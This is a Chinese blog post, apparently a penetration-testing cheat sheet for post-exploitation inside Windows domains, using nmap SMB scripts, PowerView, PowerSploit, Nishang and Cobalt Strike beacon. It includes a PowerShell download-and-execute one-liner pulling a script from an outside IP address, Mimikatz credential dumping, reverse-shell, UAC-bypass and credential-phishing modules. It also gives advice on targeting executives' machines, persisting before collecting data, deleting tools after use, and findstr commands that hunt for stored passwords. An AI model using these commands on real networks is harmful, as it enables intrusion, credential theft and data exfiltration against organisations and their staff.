smb‐enum‐users:在进行域渗透测试时,如果获得了域内某台主机的权限,无法获取更多的域用户信息,就可以借助这
个脚本对域控制器进行扫描
smb‐enum‐shares:遍历远程主机的共享目录
smb‐enum‐processes:对主机的系统进行遍历。通过这些信息,可以知道目标主机上正在运行哪些软件。
smb‐enum‐sessions:获取域内主机的用户登录会话,查看当前是否有用户登录。
smb‐os‐discovery:收集目标主机的操作系统、计算机名、域名域林名称、NetBIOS机器名、NetBIOS域名,工作组、

PowerView脚本

PowerView 脚本中包含了一系列的 powershell 脚本,信息收集相关的脚本有 Invoke-StealthUserHunter、Invoke-UserHunter 等,

在system权限下运行,起目录在system32下,所以加载桌面文件得带绝对路径
shell powershell.exe -exec bypass -command "&{import-module C:\Users\Administrator\Desktop\powerview.ps1;get-netuser}"
shell powershell.exe -exec bypass -command "&{import-module C:\Users\Administrator\Desktop\powerview.ps1;get-netuser}"
导入模块
import-module .\PowerView.ps1
运行函数(见powerview的命令)

Powershell基础

powershell有四个版本:1.0,2.0,3.0,4.0

管道和重定向

  1. 例如ls
ls | sort -descending name | format-table name,mode
  1. > 为覆盖, >> 为追加

执行外部命令

Powershell能执行CMD一样的命令

例如 ipconfig、netstat、cmd

执行内部命令

列举几个内部命令:

Powershell信息收集

PowerSploit

PowerSploit是GitHub上面的一个安全项目,上面有很多powershell攻击脚本,它们主要被用来渗透中的信息侦察、权限提升、权限维持。
Powershell的优点:
1.代码运行在内存中可以不去接触磁盘
2.从另一个系统中下载代码并执行
3.很多安全产品并不能监测到powershell的活动
4.cmd.exe通常被阻止运行,但是powershell不会

AntivirusBypass:发现杀毒软件的查杀特征。
CodeExecution:在目标主机上执行代码。
Exfiltration:目标主机上的信息搜集工具。
Mayhem:蓝屏等破坏性脚本。
Persistence:后面脚本(持久性控制)。
Recon:以目标主机为跳板进行内网信息侦察。
ScriptModification:在目标主机上创建或修改脚本。

三种使用方式:

本地执行

shell powershell.exe -exec bypass -command "& { import-module C:\Users\Administrator\Desktop\PowerView.ps1:Get-NetShare}"
导入模块
Import-Module .\PowerSploit\PowerSploit.psd1
Import-Module .\PowerSploit\AntivirusBypass\AntivirusBypass.psd1
获取命令
 Get-Command -Module AntivirusBypass
CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Function        Find-AVSignature                                   3.0.0.0    AntivirusBypass

执行命令
Find-AVSignature

远程执行

python 开启http 服务 python -m http.server 8080

shell powershell -exec bypass -c IEX (New-Object System.Net.Webclient).DownloadString('http://118.178.134.226:8080/PowerView.ps1'); import-module .\PowerView.ps1;Get-NetShare

CS自带命令

beacon> powershell-import Check-VM.ps1//导入各种powershell脚本
beacon> powershell Check-VM //执行脚本命令

Get-NetDomain

获取当前用户所在的域名称

Get-NetUser

返回所有用户详细信息

Get-NetDomainController

获取所有域控制器

Get-NetComputer

获取所有域内机器详细信息

Get-NetOU

获取域中OU信息

Get-NetGroup

获取所有域内组和组成员信息

Get-NetFileServer

根据SPN获取当前域使用的文件服务器

Get-NetShare

获取当前域内所有网络共享

Get-NetSession

获取在指定服务器存在的Session信息

Get-NetRDPSession

获取在指定服务器存在的远程连接信息

Get-NetProcess

获取远程主机的进程信息

Get-UserEvent

获取指定用户日志信息

Get-ADObject

获取活动目录的对象信息

Get-NetGPO

获取域所有组策略对象

Get-DomainPolicy

获取域默认或域控制器策略

Invoke-UserHunter

搜索网络中域管理员正在使用的主机

Invoke-ProcessHunter

查找域内所有机器进程用于找到某特定用户

Invoke-UserEventHunter

根据用户日志获取某域用户登陆过哪些域机器

Nishang


本地执行

查看可用模块
shell powershell Import-Module .\nishang\nishang.psm1;Get-Command -Module nishang
遇到报错
警告:
模块“nishang”中的某些导入命令的名称包含未批准的动词,这些动词可能导致这些命令名不易被发现。若要查找具有未批准的动词的
命令,请使用 Verbose 参数再次运行 Import-Module 命令。有关批准的动词列表,请键入 Get-Verb。
警告: 有些导入的命令名包含一个或多个以下受限字符: # , ( ) {{ }} [ ] & - / \ $ ^ ; : " ' < > | ? @ ` * % + = ~
解决方案(在powershell内)
import-module -DisableNameChecking .\nishang\nishang.psm1

在CS中运行powershell的命令必须一次性执行完,不能分为两次

并且要在shell里面进入powershell才行

例如:下列表示导入nishang.psm1,并查看有哪些模块

shell powershell Import-Module .\nishang\nishang.psm1;Get-Command -Module nishang

如果变成:下面就会无法执行

shell powershell Import-Module .\nishang\nishang.psm1

powershell Get-Command -Module nishang

如果执行check-vm就可以

shell powershell Import-Module .\nishang\nishang.psm1;check-vm

或者shell powershell Import-Module .\nishang\gather\check-vm.ps1;check-vm

抓取密钥
shell powershell Import-Module .\nishang\gather\invoke-mimikatz.ps1;invoke-mimikatz
Check-VM 检测该主机是不是虚拟机
Invoke-CredentialsPhish 欺骗用户,让用户输入密码
Get-WLAN-Keys wifi 信息
Invoke-Mimikatz 抓密码
Get-PassHashes 获取hash
Get-PassHints 获取用户的密码提示信息
Invoke-PowerShellTcp 反弹shell
Invoke-PsUACme 绕过UAC
Remove-Update 删除补丁
Get-Information 本机信息 

快速定位计算机中敏感数据

内网的核心敏感数据,不仅包括数据库、电子邮件,还包括个人数据及组织的业务数据、技术数据等。可以说,价值较高的数据基本都在内网中。
资料、数据、文件的定位流程:

定位内部人事组织结构
在内部人事组织结构中寻找需要监视的人员
定位相关人员的机器
视相关人员存放文档的位置
列出存放文档的服务器的目录

重点核心业务机器

高级管理人员 系统管理人员 财务/人事/业务人员的个人计算机
产品管理系统服务器
办公系统服务器
财务应用系统服务器
核心产品源码服务器(SVN/GIT服务器)
数据库服务器
文件服务器,
共享服务器
电子邮件服务器
网站监控系统服务器
信息安全监控服务器
生产工厂服务器

敏感信息和敏感文件

站点源码备份文件,
数据库备份文件等等
游览器保存的密码和游览器的cookie
其他用户会话,
3389和ipc$连接记录,
回收站中的信息等等
Windows的无线密码
网络内部的各种账号密码,
包含电子邮箱,V**,FTP等等

在内网中,我们一定要知道自己拿下的机器的人员的职位(职位高的人在内网中权限也高,计算机中的敏感信息也多,还有一种就是特殊职位的人员,例如上面说的,一般都有一些与职位相关的敏感信息。)还有就是拿下一台机器后要先维权,权限稳了再收集信息,信息收集一定要全面仔细,信息收集完了再搞内网。往目标主机中传工具用完就删。翻文件的话,可以使用一些搜索命令来快速寻找。

1.指定目录下搜集各类敏感文件

dir /a /s /b d:\"*.txt"
dir /a /s /b C:\"*.xlsx"
dir /a /s /b d:\"*.md"
dir /a /s /b d:\"*.sql"
dir /a /s /b d:\"*.pdf"
dir /a /s /b d:\"*.docx"
dir /a /s /b d:\"*.doc"
dir /a /s /b d:\"*conf*"
dir /a /s /b d:\"*bak*"
dir /a /s /b d:\"*pwd*"
dir /a /s /b d:\"*pass*"
dir /a /s /b d:\"*login*"
dir /a /s /b d:\"*user*"

2.指定目录下的文件中搜集各种账号密码

findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak

findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak

findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak

findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak

findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak


 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值